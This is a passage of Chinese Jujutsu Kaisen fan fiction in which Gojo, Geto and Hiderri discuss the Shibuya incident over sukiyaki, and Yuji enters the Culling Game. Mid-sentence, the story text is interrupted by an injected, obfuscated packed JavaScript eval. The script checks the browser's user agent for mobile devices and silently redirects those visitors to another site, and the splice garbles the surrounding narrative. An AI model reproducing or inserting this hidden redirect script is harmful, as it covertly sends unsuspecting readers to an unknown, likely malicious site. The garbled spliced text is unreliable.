在发现这一情况后,五条悟和夏油杰第一时间赶到了现场。所有的2级以上术师也在“帐”的周围集结,高专相关人员就位。机械丸和咒灵们交易时已经得知届时将会有一个咒术恐怖|袭击,但具体将会发生在何时何地却不清楚。 在看到“帐”的那一刻,他们终于有了尘埃落定的感觉。乙骨忧太和日照就是在那个时候接到联系电话的。 大约在20时30分左右,安排好一切的五条悟和夏油杰从文化村大街道玄坂2丁目东进入“帐”内。 与风平浪静的“帐”外不同,漆黑幕布笼罩下的是货真价实的人间地狱。人群在尖叫声中四散奔逃,看得见咒灵的人撞倒看不见的人,倒地的人迷茫万分,来不及护住身体就被其他人踩在脚下。 异形的咒灵像是蝗虫落在庄稼上,大快朵颐。 无法离开“帐”的普通人绝望地敲着看不见的屏障,呼喊着“五条悟呢!?快让五条悟和夏油杰过来啊!!”的声音慢慢从恐惧转化为了愤怒,满是怨怼的眼睛与“帐”外集结的咒术师们错位对视着。 “悟,地面交给我。”这样大量的咒灵潮混入了人群中,能够大面积清场的“苍”或“赫”都不好施展。但若是比拼数量的话,夏油杰的【咒灵操术】更胜一筹。 “特级咒灵们都聚集在地下了啊,”五条悟开始向涉谷之光大厦ShinQs地下区域靠近,“真是缺乏危机感。” 这是针对他们的圈套,两人都很清楚这一点。 五条悟的身影消失后,夏油杰也见到了敌人放给他的鱼饵。恐怕地下也被设立了“帐”,五条悟的气息消失了。专门选在这个时候冒头啊......而且,这家伙的体内有“宿傩的手指”。 “虽然不知道是怎么做到将复数的手指放到你的体内,”夏油杰身后的空间被刺破,他持有的特级咒灵们纷纷登场,“很遗憾,你还是在这里死去吧。” 体内包裹着七根被结界术分割开的“宿傩的手指”,形似球体、背生六翼的特级咒灵颤抖着,在可以被称为“核心”的地方出现了一只眼睛。 13. 夜谈 “当时那个特级咒灵只是一个咒胎,在战斗中完成了变态。我花了比想象中更多的时间解决它,”夏油杰敲着手指,“跟在悟身边的‘螺’传回了他那边的情况,我来不及回收那七根手指,当时地面上应该还有一个火山头咒灵藏着。” “螺”是一种形似蜗牛的低等级咒灵,只能单方面共享视野,很容易被祓除。 “那群家伙把不少人集中困在了地下4层和5层,在我进去之后估计又下了两个‘帐’吧?”当时的涩谷是“帐”里叠着“帐”,每个“帐”还都被赋予了不同的附加条件。那个缝合线咒灵、大草包和受肉的咒胎九相图藏在人群里行动,以此来束缚住五条悟。 聚集人群是为了削弱他的攻击性,选择用领域展延中和他的【无下限咒术】,就是为了给羂索争取开启狱门疆的机会吧?它们断定他不会轻易开启【无量空处】,但如果五条悟不处于术式熔断的状态,它们也就没有机会将他困在狱门疆生效的范围内。 五条悟知道他们的后手是狱门疆。毕竟日照曾经为了这个东西破天荒地一天给他们打了八个电话,想要忘记也很难了。 狱门疆的封印有效范围只有4米,必须停留一分钟的时间才能够达成条件。 “那个时候杰已经下来了,”五条悟说,“然后就发生了这样这样、那样那样的事......” 日照举手:“你打住!让杰来说。” “......”夏油杰看起来也有些犹豫。 日照扶额向后瘫靠在沙发椅背上:“我明白了,你俩都干了蠢事。我就知道。” 察觉到夏油杰靠近的五条悟决定孤注一掷,开启0.2秒的领域,并在接下来的299秒内将地下5层所有的改造人全部清理干净。 不应该出现在涩谷的天内理子从改造人的尸体和神情呆滞的人群中冲了出来。毫无温度的冰凉手掌抓住了五条悟,手握人手咒物的女孩凭借这幅皮囊轻而易举地夺走了【无下限咒术】。 六眼如实地汇报了它搜集到的所有情报,无论是肉|体还是咒力,女孩都是曾在五条悟并不平静的高中生活里短暂出现过的那个天内理子。 虹龙突破最后一层壁障,夏油杰用咒灵替普通人挡下了飞溅的碎石,听到天内理子说:“狱门疆,开门。” 天内理子的身后,方形咒物应声开启。 五条悟迅速转身想要离开,无形的重压却笼罩在了他的周围。是操纵重力的术式。 “重力?按照天元所说,羂索的术式是能够转移大脑,他还能使用刻印在肉|体上的术式,但天内理子不是没有术式吗?” 人脑使用两个术式就基本上接近极限了,如果说操纵重力的能力来自于羂索上一个寄生的肉|体,现在存在于日照星海身体里的羂索还能够使用【仳】吗?还是说,会选择性地放弃其中之一? “所以我被困在那儿了,”五条悟又开始甩自己的眼罩,“为了给我们更多的刺激,那家伙把星海的尸骸也搬过来了。” 夏油杰接着他的话说:“抱歉,那时我确实愤怒过头了。” 狱门疆的效果范围内出现了第二个符合条件的封印对象。依照它不为曾人所知的运转逻辑,狱门疆选择了咒力输出更高的那一方,封印了夏油杰。 “天内的发带挡住了她额头的缝合线,但我的确大意了。之后也有想过将杰抢回来,但把天内打出去后,狱门疆落在了那个大草包手里,彻底没办法了。” 如果没有清醒过来的真人,五条悟能够在地下5层仅凭咒力操作彻底杀死羂索。它们带来了一个拥有领域的咒灵,被吞入腹中的五条悟以最快速度突破了咒灵构造出来的首尾相接、无限循环的走廊,但却发现这只咒灵的领域能够扭曲时间。 腹中只过去了不足五分钟,现实世界已经跨越了几个小时。 夏油杰看向默默听着的日照:“弥山?” 日照语出惊人:“我们来吃寿喜锅吧。” 五条悟&夏油杰:“......?” 跳跃性话题的跨度之大,仿佛一步迈过了匆匆十年的岁月,找回了一丝属于少年时的记忆。 “你还真是老样子,想一出是一出啊。”夏油杰无奈地笑了笑,召唤几只稍微有点智商的咒灵出来去找材料。 “所以,当年杀害星海的就是羂索吗?” 满屋寂静。 提问的五条悟直视坐在窗边的青年,因为受肉而不再成长的脸上没有露出任何五条悟期待的表情。没有愤怒,没有仇恨。 “正确答案是,否。” 五条悟神色不变,夏油杰垂下头:“我说啊,弥山......” “我会杀了他,”日照双手摊开,掌心朝上将手臂放在扶手上,“不论如何,他都必须要死才行。” “你们两个接下来要干什么?”日照脸上的嘴巴打岔。 乙骨忧太早已将他们从天元那里得到的情报共享给了五条悟,理论上来说羂索口中的“人类和天元的超重复同化”是可以做到的,涩谷中他唯一失手的就是没有将狱门疆带走。 “喂喂,不要把他带走狱门疆就能轻易杀了我说得这么理所当然啊!” 五条悟:“要是他把狱门疆塞到日本海沟里去再解封,很难活下来的吧?” 夏油杰反驳他:“他有本事远距离打开狱门疆?他要是真能做到涩谷的时候就不会离你那么近了。再说了,他想要的是身体,而不是为了杀人。” 也就是说保证尸体尽可能完整才是最重要的。 “如果羂索想要让天元变成咒灵,再用【咒灵操术】掌控祂发起同化,接下来就必然会针对你们两个来行动吧。” “同化不会那么快开始的,现在还处于‘准备阶段’,而且如果死灭洄游不结束的话,同化也没办法开始。” 五条悟和夏油杰听着日照的话,反应了过来:“果然啊,想要让这个永续的游戏开始,羂索必然会背负更大的束缚才对,比如他要想办法终结这个游戏?” 日照点头:“这就是问题所在。死灭洄游就是一场演习,羂索的目的是通过这场游戏收集足够多的咒力,所以在达成这个目的之前,死灭洄游不能结束。” 五条悟接着说道:“而一旦各个结界收集的咒力充足后,羂索就会想方设法主动终结死灭洄游。” 他的六眼能够看到那些被结界吸收着的咒力。日照将零士·明星那里得来的情报,也就是关于死灭洄游的管理者并非羂索而是天元的事告诉了他们。 “综上,杀死羂索也没办法终结死灭洄游,这就是现状了。” 夏油杰派出去找材料的咒灵拎着锅和食材回来了。他这些年降服了很多稀奇古怪的咒灵,比如这个脑袋上能生火的家伙现在就被垫在锅下。 “没找到味醂,但是有米酒和蜂蜜,稍微凑合一下吧。”夏油杰调配着灵魂酱汁,日照亲自动手处理食材。虽说咒灵们拥有一定智慧,但要让他们分辨什么放在寿喜锅里好吃也还是有些为难它们。 挑挑拣拣,他选了豆腐、娃娃菜、茼蒿、香菇和洋葱丝,揪着一只尾巴是刀刃的咒灵把菜切好了。最重要的和牛也有,不过咒灵可不会轻拿轻放,餐厅后厨存放和牛的冰箱已经没办法继续使用了。 “先把锅烧热了转小火,用油润锅,煎洋葱。” 星海开口指挥,夏油杰敲着咒灵的脑袋调节火候,五条悟一步一步将食材放进锅里。然后在锅里铺满和牛,淋洒酱汁翻拌。 日照用筷子扒拉锅里的和牛和洋葱,被真厨子训道:“你轻点!” 他虽然嘁了一下,但手上的还是放轻了不少。接下来只要把豆腐和其他食材都放进去,再把剩下的酱汁倒进去盖上锅盖闷煮就行了。 “弥山,你是怎么说服天使帮忙的?”在等待的间隙,夏油杰问道。 “啊,我差一点忘记和你们说了,”日超看着水汽在透明锅盖下凝结,遮住了锅里的景象,“她要杀‘堕天’,也就是两面宿傩。” 夏油杰皱眉:“你骗她了?” 日照:“我可没有,我们之间立下的可是货真价实的束缚。” “你又不打算履约,这不就是骗人吗......”夏油杰无奈,但日照根本不在乎。 五条悟已经自觉地端着碗等着了:“她的术式恐怕能够彻底杀死宿傩,只不过那样的话悠仁也会死吧。如果把悠仁的特殊之处告诉她,她还能下手吗?遵从信条,就代表她要亲手抹杀容器的灵魂,她有多大的概率会为了杀死宿傩而选择放弃悠仁呢?” “谁知道呢,她术式威力你已经看到了,宿傩现在在虎杖悠仁体内时间还不算长,想要重创肯定没问题。” “嗯......还真是棘手呐。”五条悟大概想到了一些别的事,日照悄悄掀起锅盖看看煮好了没。 一层之隔,来栖华闻到了从窗户外飘来的香气。 她啃着饼干,可肚子依旧不争气地咕咕叫了起来。连天使都被香气吸引了过来:“这是什么东西的味道?是你记忆里的烧烤还是拉面?” 来栖华恶狠狠地咬掉干巴巴的饼干,说:“闻起来像是寿喜锅的味道。” “华,那个白头发的是当今时代的六眼和【无下限咒术】持有者,你的惠要是跟着他的话......” “呜哇啊啊!什么叫我的、我的惠啊!虽然我的确是很想见他,但现在不是还有正经事要干吗?” 天使看破不说破:“那就说正事吧。你有感受到那个年轻人身上有什么不同寻常之处吗?” 来栖华摇头。 “我怀疑他也是一个容器。” “诶?那你为什么还要答应他?” 天使缓缓说道:“如果他是以像我们这样共生的方式存在,我动手的话容器的意识也会死去。狱门疆里封印的是他的同伴,也就是说他体内的大概率不是古代术师,甚至他可能已经受肉很久了。” 来栖华惊叹。 在所有和羂索签订了契约的古代术师中,只有宿傩亲眼见过羂索制作咒物的过程。青年脖子上戴着的那个咒物虽然和羂索制作的有相似的感觉,但细看之下又有不同。羂索制作咒物的技术已经非常成熟,制作方法不可能再出现这么大的改动。如果那个青年和他体内受肉的人都是现代术师的话......那个咒物难道是他自己做出来的? 天使希望他不会成为第二个羂索。 楼上,日照三人已经开始分配食物了。这一锅食材只是能当夜宵的程度,勉强垫一下肚子。 五条悟和夏油杰幼稚地抢最后一片和牛,嘴上也不闲着:“现在泳者可以自由出入结界,羂索要是想尽快收集足够的咒力,就得想办法让泳者们只能待在结界里。战斗和濒死都能激发大量的咒力,但这些发生在结界外对他来说就没有意义了。” 日照夹了一块豆腐:“不会的,咱们在结界里所以才会觉得‘世界都变了’,但是离开结界你会发现大部分人的生活甚至一如往常。” 对他们来说,每天的生活依旧被工作、学习占据,可以和朋友出去吃饭喝酒,可以去海外旅游。死灭洄游只是每天出现在电视频道和社交软件上的新闻,好奇的时候就关注两眼,忙起来就把它忘在脑后。 对于受肉的古代术师们来说,他们更愿意待在结界内而非离开结界。一是因为他们对当今的咒术界一无所知,比起还需要适应的现代社会,这些结界内的生存法则更适合他们这些从咒术兴旺时期重生而来的人。 “有道理。”最终是夏油杰赢得了最后的胜利。 “但是人数还是个问题,”五条悟放下筷子,“结界里的人越打越少,到了后期咒力量的增加速度也会变慢。他一定会在某一个节点通过某种举动来引爆‘炸弹’。” “你认为他会用某种手段一次性送来大量新泳者?他上哪里再找那么多术师?” “杰,”他严肃了起来,“普通人死亡前也会凝聚更多的咒力。” “普通人......” 也许是在网络上诱骗和煽动结界外的普通人进来,也许还有什么别的阴谋。 “现在就是看你们谁的动作更快喽,”日照将碗筷丢给夏油杰的咒灵,“加油哦。” 五条悟拉长声音,随性中带着些许认真:“诶——弥山你来帮帮忙嘛~星海?拜托了啦!” 日照回答:“我会帮你找【无下限咒术】的啊,如果羂索真能用【仳】,总不能让你就这么上去打吧?” 夏油杰将五条悟的头摁下去:“弥山,你打算怎么杀他?悟说你要找一个会构筑术式的古代术师......是想让她帮你再现某样咒具吗?” 日照看向放在一旁的网球袋:“是‘再现’还是‘修补’,得看那个古代术师能做到哪一样了。” 他本来以为还需要费更多的力气,但羂索选择的是星海的尸体,这倒是让他离目标直接近了一大步。只要复原了他手中残损的咒具,他就能达成自己的目标。 “京都校那边有一个会构筑术式的孩子,用你的术式的话,她做不到吗?” “我需要的是创造于平安时代前的特级咒具,她会死的。” 构筑术式是出了名的咒力效率运转不佳,拥有构筑术式的术师可从零开始创造实质的物体,理论上来讲可以构造出任何东西,只不过能否实现就要看咒力量了。 禅院真依显然做不到。 “那,弥山你再帮我最后一个忙吧。” 日照双手抱臂,做出洗耳恭听的模样,五条悟顺着他的态度继续说了下去:“你当时说,你在北海道找到了什么来着?” “我在那可找到不少好东西,你指哪个?” “那个未被激活的净界。” 青年挑眉,想了一下:“的确有这么个东西,你找它干什么?” 北海道在咒术上非常特殊,这片区域是一个“灵场”,天元的结界并未覆盖这里,但它也能通过这片“灵场”知道发生在北海道的事情。这里的阿依努咒术联盟以北海道神居古潭为根据地,受咒术总监部管辖但区别于其他咒术师团体。 这里的咒术师们几乎都没有术式,而是利用咒力和“灵场”沟通,依靠驱使这片大地上的自然力量来祓除咒灵,尤为擅长封印的制作与研究。也正因为他们力量的特殊性,几乎不怎么与北海道之外的咒术师联系。 封印宿傩手指的“摧魔怨敌法”,也就是“□□法”就是出自阿依努咒术师之手。 北海道这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137744|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个净界曾经被激活过,但本身拥有“灵场”的北海道极少产生高等级的咒灵,净界是否激活对这里影响不大,后来就再未开启过了。严格来说,北海道很少生成高等级咒灵的原因是“灵场”让代代生活在这片土地的人们拥有了术师的身体特性,孩童生来就比其他地方的人更容易拥有咒力,哪怕无法进行咒力输出,可流动的咒力也基本不会逸散从而形成诅咒和咒灵。 “弥山,你把那个净界根基所在的地方发给我吧......不,你直接打在我的手机上好了。”五条悟把手机递过来,日照虽然没想明白他要干什么,不过还是乖乖把地址打了上去。 “时间不早了,你明天就走吗,弥山?” 日照当然希望尽早出发,他现在觉得还是得多存点积分,等到万不得不参加死灭洄游后,他可以增加公开泳者情报的规则,直接去找她。东京第1结界的人减少了不少,他准备去其他结界了。 “当然。”他起身从五条悟那儿随便摸走了一把钥匙,拍了一把夏油杰的肩膀示意他赶快吞掉真人和花御的咒灵玉。在他侧身拎包的时候,一张嘴巴出现在了他的脸上。 那张嘴无声地说了什么,日照本人毫无所觉,只有一直看着他的五条悟和夏油杰“听”懂了。 ——一会儿见。 夏油杰迅速连吞了两个球。日照今年寄给他的封印了术式的咒符倒是还没用完,只不过剩下的大多在高专,身上的在战斗时损坏了。没味道的咒灵玉吃多了,对于它们本身的味道就会产生很强的抵触心理。 等到确定人真的走远之后,不知道为什么还要继续偷偷摸摸压低声音的夏油杰戳着五条悟说:“你说他要什么时候才能回来?” “杰,你为什么搞得这么紧张?”五条悟靠在床头上摁着手机,一边向夏油杰伸手:“把充电线递我一下。” 刚把寿喜锅的剩汤和碗筷收拾好的胖胖咒灵又挥着小翅膀抱着充电线飞到五条悟身边。 “谢谢啦~”五条悟弹了一下它的肚皮,弱小又无助的咒灵飞了出去,圆滚滚的像个气球一样撞到了夏油杰的后脑勺上。 咒灵哼哼唧唧地消失了。夏油杰忍受五条悟这样的幼稚行为,已经练就了一套深厚的功法,不会轻易破防。 除非五条悟一直变着法儿地“折磨”他,那他也只能直接上脚了。 找到房间的日照进门后没有开灯,而是直接坐在了床边。黑暗中,他对着空无一人的房间说道:“躺下前记得刷个牙,我可不想顶着一嘴寿喜锅的味道起床。” 身体自主权他交得干脆,意识下坠,来到了他再熟悉不过的生得领域。 这片心象空间原本不是这副模样,除了脚下无限延伸的镜面之外,只有两把相对而立的木椅。现在的心象空间中多出了一栋公寓。 他们很少同一时间出现在这里,日照弥山推开门,走过灰色的玄关,半掩的书房门内发出柔软的暖黄灯光。那里面什么都没有,所以日照弥山径直路过,来到了客厅。说是客厅也不太准确,这里已经被改造成了一个“婴儿房”,餐桌餐椅被挪到了靠近厨房的一侧,脚下铺了厚厚的地毯,一些彩色的绘本和没有收拾的积木玩具散落在地上。 一张老式婴儿床,正上方挂着能够发出响声的塑料玩具。这张婴儿床很大,摇起来的时候会发出咯吱咯吱的木头挤压声。 他面无表情地站在婴儿床前,手指百无聊赖,拨弄着床头的塑料玩具。身后是一张沙发和台式电视机,屏幕上冒出了雪花纹路,随后电视画面逐渐清晰。 日照弥山不想看,最后用力抽打了一下转得飞快的玩具。这东西在星海第一次睁眼之后就再没有响起过,他也是在这里才知道原来当年那张婴儿床还会发出咯吱声。 十年前他在自己的生得领域里看到这栋公寓的时候狂笑不止,笑得眼泪都流出来了也不肯停下。 那天他被揍得很惨,但不妨碍他继续笑。 电视机里的视角向前移动,日照弥山没有分给它一个眼神,上了二楼睡觉。 日照星海敲开了房门。进门的时候发现五条悟的小腿裤子上多了一个鞋印,夏油杰发丝微乱,无语地翻了个白眼。 “哟星海!”五条悟翻身坐起,毫不掩饰地用六眼观察他。 “别看了,这次真睡了。” 日照星海在五条悟抱怨“果然上次是在耍我,你们太恶劣了”的声音中给自己泡了杯咖啡。 他开门见山地说:“他现在是肯定不会管你们的了,别对他抱太大希望。如今杀死羂索也不能终结死灭洄游,你们打算怎么办?” “不妨假设一下羂索会用什么方法结束这个永续的游戏,”夏油杰思考道,“死灭洄游的结界依托于天元大人的结界而生,最简单粗暴的方法让天元大人关闭结界。” 但这样做的后果也很难承受,天元在设立这些结界的目的就是为了减少咒灵的诞生,同时还提升了范围内术师使用的结界术的强度。没人能够断言这个国家离开了天元的结界会发生什么事情。也许会出现大范围的咒灵暴动,又或者是未来每年都会以浪涌的姿态疯狂诞生新的咒灵,国内的咒术防护将会崩溃。 “他想要弥山和杰的术式就是为了干这件事的吧?用【咒灵操术】控制天元解除结界,自然也就GAMEOVER了。” “恐怕没有这么简单,他要同化就必须借助国内这些结界,所以他看中的是‘天元大人能够解除结界来终结死灭洄游’的事实。” “这有什么意义吗?”五条悟撑着脑袋。 日照星海突然说:“他是想要威胁小金。” 夏油杰恍然大悟:“以‘可以终结这场游戏的能力’为筹码,从管理者那里换来增加违反永续性的规则的许可吗!?” 五条悟露出嫌弃的表情:“那也太智能了一点吧?这玩意儿居然能够权衡利弊,选择对永续性威胁更小的条件吗?不,应该说是选择‘尽可能延续这场游戏’吗......” 以上所有假设的前提是天元会再次进化为“更高等级的存在”。所以日照弥山和夏油杰的术式对羂索来说缺一不可。 “我们必须提前做准备。”夏油杰虽然对他们的实力很有自信,但有狱门疆的先例在,不知道羂索手里还有什么意料之外的底牌。他比他们多活了千年,这漫长的时间里他学到的、见到的、拥有的东西远超他们想象。 他们没有办法为未知的东西未雨绸缪。 “我问弥山北海道的事就是为了这个!” 五条悟伸出双手的食指碰到了一起,然后左手停在原地,右手向右上方划了过去,口中念念有词:“东京——北海道。” 日照星海呛了一口咖啡,夏油杰瞪大了眼睛:“你是说!?” 狠命咳嗽了几声的日照星海不得不佩服五条悟的异想天开:“且不说能不能行,就算你们能够说服天元,这件事也不是一朝一夕就能完成的,何况你们还在喝羂索抢时间,又得瞒......” 在他开始长篇大论之前,五条悟满脸自信地说:“哈哈,总会有办法的!” 用最轻佻的态度说出的最狂妄的话,偏偏本人也有傲慢的资格。 夏油杰扶额:“我真是服了你了......” 14. 知苦断集 日照依旧醒得很早。他的精神在生得领域中休息,身体经过短暂的睡眠也恢复了精力。 洗漱的时候他戳着镜子里的脸,满嘴泡沫嘟嘟囔囔地说:“你们昨天背着我说什么了?” 明明是他自己不看的,但是早上醒过来之后又想知道,别别扭扭。所以没有人理他。 当他出门时,发现丽美和夏油杰正在说话。他挠挠头,已经猜到了接下来会发生的事。丽美听到声音转头看见了他,虽然表情没有明显的变化,但显然已经不像前几天那样依赖他。 “弥山,我会让菜菜子和美美子她们带着丽美行动,”夏油杰一锤定音,枷场姐妹在得知夏油杰解封之后就马不停蹄地往东京赶了,这几天就能回来,“没问题吧?” “......你都这么说了,我反对有用吗?”日照挥挥手,丽美立刻觉得身上一轻。不是物理意义上的轻重,而是有什么东西消失了。那是她在第一次见到日照的时候感受到的“联系”,这将他们牢牢地绑在了一起。 夏油杰知道日照与他们有不同的道德标准,他用“天平”来衡量价值,而非用“心”。对丽美来说跟在他身边并不安全,哪怕他真的曾经为她提供了她想要的保护,可一旦她的砝码用尽,日照会毫不留情地抛弃她。 看到自己与日照之间的“联系”被轻而易举地切断,日照在放弃她的这一点上没有丝毫犹豫,丽美回想起夏油杰和她说的话。 “没有人能‘爱’你一辈子,除了你自己。” 日照和五条悟打了声招呼,然后准备去找天使。在他进入电梯前,丽美跑到了他身前,大喊道:“谢谢你救了我,日照先生!” 这倒是让日照有些无法理解,他说:“为什么不感谢你自己在大街上拦住我呢?” 电梯门关上,丽美瘫坐在了地上。旁人很难说清她在这几天明白了什么,又从生死之间看清了什么,不过也许她终于愿意正视自己除了“可爱”之外的其他优点,在选择逃避地生活之前多几秒犹豫。对她来说已经是弥足珍贵的改变。 一旁,五条悟和夏油杰勾肩搭背:“果然还得是你~你比我更适合当老师啊,杰。” 夏油杰拂开他的手:“都当了这么多年了,现在说这些?对付弥山就不能和他讲道理......总是乱来的家伙。” “这句话大赞成!” “你也这样,没资格说他。” “好过分!” 楼下,天使直截了当地对日照说:“五条悟已经和我说了,我们会直接去找宿傩的容器。我不相信身为‘堕天’的容器能够一直保持自我意识,不过他既然现在还能做到,我不会在这个时候动手。而且,华喜欢的人也在宿傩的容器身边,我们跟着行动也更安全一些。” 日照惊呼:“呜哇那两个人昨晚是完全没有休息吗!?” 来栖华巴不得离日照远一些,女孩在他旁边甩着手,似乎想像扇走空气一样把他也扇走。 天使道:“那个束缚,你既然敢和我缔结契约,想必自然有办法规避惩罚吧。” 天使倒是知道一个咒具可以转嫁束缚,不知道日照是不是因为那个咒具才如此胆大妄为,随便和人定下束缚。 日照自有方法,既然天使已经定好了去向,那么他就可以继续出发了。下一阶段的主要目标是去下一个结界里赚取分数的同时顺便找人,看看能不能感受到装着【无下限咒术】的咒物的下落。也许离得近了,星海能感受到自己身体的气息呢,这应该叫......共鸣? “向南还是向北呢......”日照走到大路上,决定抛硬币。正面是北,反面是南。 他一边走一边仰头准备接住硬币,旁边的小巷子里却传来了微弱的呼救声。 日照伸手接住了硬币,感受到圆圆的铁皮在掌心印出轮廓,却没有伸出手掌来看看自己到底接到了哪一面。 阴暗的小巷子里,一个弱得不能再弱的低等级咒灵用肢体抓住了一个男学生,一道身影堵在巷口。 日照觉得这个背影看起来有些熟悉,指尖夹了一张扑克牌,慢慢地走了过去。 伊藤被咒灵举了起来,他虽然在面对死亡威胁时的刺激下拥有了能够看见咒灵能力,却没有能力自救。人类对于诅咒和咒灵来说没有任何营养价值,但它们却会本能地攻击、诅咒和吞食人类。 抓住伊藤的咒灵张开了嘴,双排利齿上挂着上一个受害者的衣物碎片,齿缝间沾满血丝。伊藤能够看见连通着胃部的黑洞,他涕泪横流,校服在拉扯下扭曲破碎,狰狞丑陋的脸扭向巷口,对着站在那里的人喊道:“救、救命!!救救我啊!!喂!!听到了吗——” 明明已经害怕得要死,明明见到的是唯一有可能伸出援手的人。但是为什么,你还用那种眼神看着我呢? “——我让你来救我啊!!混蛋顺平!!!” 吉野顺平站在巷口,看着伊藤在咒灵的手中挣扎,明明就要死了却还在用曾经霸凌他时那种高高在上的语气和蔑视的眼神命令他。吉野顺平牙齿咬得咯咯作响,瞪大眼睛直到干涩流泪也不愿眨眼。额头已经完全愈合的烟疤又开始隐隐作痛。 要救他吗?这种程度的咒灵,淀月一下就能祓除掉。 “你耳朵聋了吗!?喂!!快点来救我!!” 漠不关心,爱的反义词。 “不要、别过来!!啊!!!” 咒灵的牙齿咬上了伊藤的一条腿。吉野顺平觉得他活该,谁叫他曾经带头欺负自己。那些伤口、被迫吞下恶心的虫子、在污言秽语中被侮辱的妈妈......这是神罚,是神在他按下“让讨厌自己的人消失”的按钮之后送给他的礼物。他只要当做没看见,从这里离开就可以了。 没有人会知道他曾经见死不救。就算有人看见又怎么样,发生在结界里的任何事情都不会在回归现代社会之后被追究,这里不就是这样的世界吗? “你这样可不行啊,这位同学?你得放低自己的姿态才行呐~”吉野顺平攥紧拳头,指甲狠狠刺入肉中,在日照的手搭到他的肩膀上时才惊觉有人靠近。 咒灵的牙齿已经刺穿了伊藤的小腿,他现在只顾着哀嚎和挣扎,根本顾不上听他们在说什么。 日照靠在吉野顺平的身边,搭在他肩膀上的手指着濒临崩溃的伊藤:“你要说‘求求你了,请你救救我吧’才对吧?” 伊藤的身体翻了过来,咒灵的牙齿在他的腿里跟着旋转,撕破了一圈血肉。他向吉野顺平的方向伸出手,终于嘶声哀求他救救自己。 日照松开了吉野顺平的肩膀。 —— 2018年11月5日,东京第1结界外,11时32分。 “这里是小金!!确认要参与死灭洄游吗!?”管理死灭洄游的小金出现在了虎杖悠仁、伏黑惠和胀相的身边,他们三人纷纷应答。 在回答小金的那一刻,他们就成为了新的泳者,正式宣誓参加死灭洄游。 他们迈步向结界内走去,伏黑惠还在叮嘱虎杖悠仁:“听着虎杖,进去之后遇到的每一个人都要用小金询问对方到底是不是泳者,别太相信别人了。还有......” 还没说完,他就从虎杖悠仁的身边消失了。没等虎杖悠仁反应过来,属于高空的冰冷空气和下坠时的失重感就包围了他。 “空中!?”他和伏黑惠被分开了! 但是胀相抓住了他:“悠仁!” 虎杖悠仁和胀相被分配到的这个传送点位于池袋,因为在宣誓进入死灭洄游的时候和小金产生了“对话”的行为,所以他们都被强行进行了传送。 这种高度对于虎杖悠仁来说并没有什么挑战,他本来身体素质极好,如今又有了咒力加持,更是直接徒手抓着大楼边缘的碎砖摩擦减速,看准机会冲破窗户闯进了大楼里。他落下的地方是一个商场,眼前这一层尽头的天花板不知道为什么被打破了,阳光从那个大洞里落了下来。 胀相将贴在皮肤上的血铠收回,他从这附近感受到了一股熟悉的气息。 “这到底是哪里啊......”虎杖悠仁和胀相一前一后从那个洞口跳了上去,居然正面碰到了一个头发发色像是布丁一样的男生。 “哦!”他刚想打招呼,忽然想起伏黑惠千叮咛万嘱咐过的事,故意咳嗽了两声,捂着嘴巴问小金:“喂,他是泳者吗?” 对面的人却叫出了他的名字:“你是......虎杖悠仁?” “啊?你认识我?” 甘井凛想说初中的时候那附近的人就没有不认识你的吧?尤其是小混混和那群搞体育的。 “是!!甘井凛是泳者!!”小金的话让虎杖悠仁迅速严肃起来,他在双拳上凝聚了咒力,严肃的表情逐渐和甘井凛记忆中揍飞小混混的“西中之虎”重合在了一起。 “等等!我不是、不是,我没有要打架的意思!” 甘井凛虽然觉醒了术式,但术式并没有帮他在打架上变得更厉害。他也很失望,埋怨制造出这样的大乱子始作俑者为什么没有给他一个更强力一点的术式,如果他变得更能打,他肯定能过得比现在更好。 就算没有死灭洄游,他也这样想。 甘井凛废了一番功夫让虎杖悠仁相信他和那些随意杀人的家伙们不同,他来到这个商场只是为了获取生存物资,没有战斗的想法。他其实还没太明白自己到底要做些什么,难道真的要为了分数去杀人吗? “那这么说,你很熟悉这附近的人喽?”虎杖悠仁抓住了重点。甘井凛没有自保的能力,为了生存下去他对在附近活动的泳者们都比较熟悉,这样才好避开他们拿到自己需要的东西。 “也可以这么说吧......”只是知道个大概。 虎杖悠仁请他告诉自己这附近有没有分数看起来就比较多的人。甘井凛想了想,自从羽场大哥和羽生大姐死了之后,那个杀神也走了,这附近的泳者才又逐渐多了起来,不过多数只是经过这里获取物资,要说长期停留的话...... “我知道有一个人,他在剧场那边,”甘井凛想起了羽场夫妇生前的最后一个猎物,“你要去找他吗?” 虎杖悠仁想到了一个问题:“你觉得他有100分了吗?” 甘井凛:“这才第五天,怎么可能......不过他的确已经杀了不少人,至少有五十分了吧?” 没有100分,不够增加规则。怎么办?要先去找伏黑吗?虎杖悠仁陷入了沉默。 “虎杖?怎么了吗?” 甘井凛的话叫醒了他,他突然想到也许正如伏黑惠所说,他现在必须成为大家的同伴,如果一直没有长进怎么行啊。虽然七海海总说他还是小孩,但不也承认他是一个咒术师了吗?况且为了结束改造人的痛苦,他也曾亲手终结了他们的生命。 似乎只有当真的有生命在自己手中结束时,人才会真正明白生命的价值。宝贵的、轻贱的,当生命终结的时候它的价值才会变得“真实”。 “悠仁,”胀相拍拍他,“不必为此烦恼。你可以尽可能的多依赖我这个兄长一些。” 兄长?虎杖他还有哥哥吗?长得一点也不像啊。甘井凛站在一边想道。 “没事的,胀相,”虎杖悠仁深吸一口气,下定了决心,“我可以的。大家都在战斗,我不能总拖他们的后腿。” 甘井凛带着他们去了被日车宽见划为领地的剧场,路上他一直在偷偷观察虎杖悠仁。 “那个,虎杖,我......”甘井凛叫住了正在往地下剧场走的虎杖悠仁,但他又怯懦地闭上了嘴。正是因为他的胆小和懦弱,才让自己为了避免被霸凌和受伤而成为了欺凌者中的旁观者。每一次点头哈腰和附和地笑时他都无比厌恶自己,却又庆幸自己不必像躺在地上浑身是伤的人一样承受那些恶意。 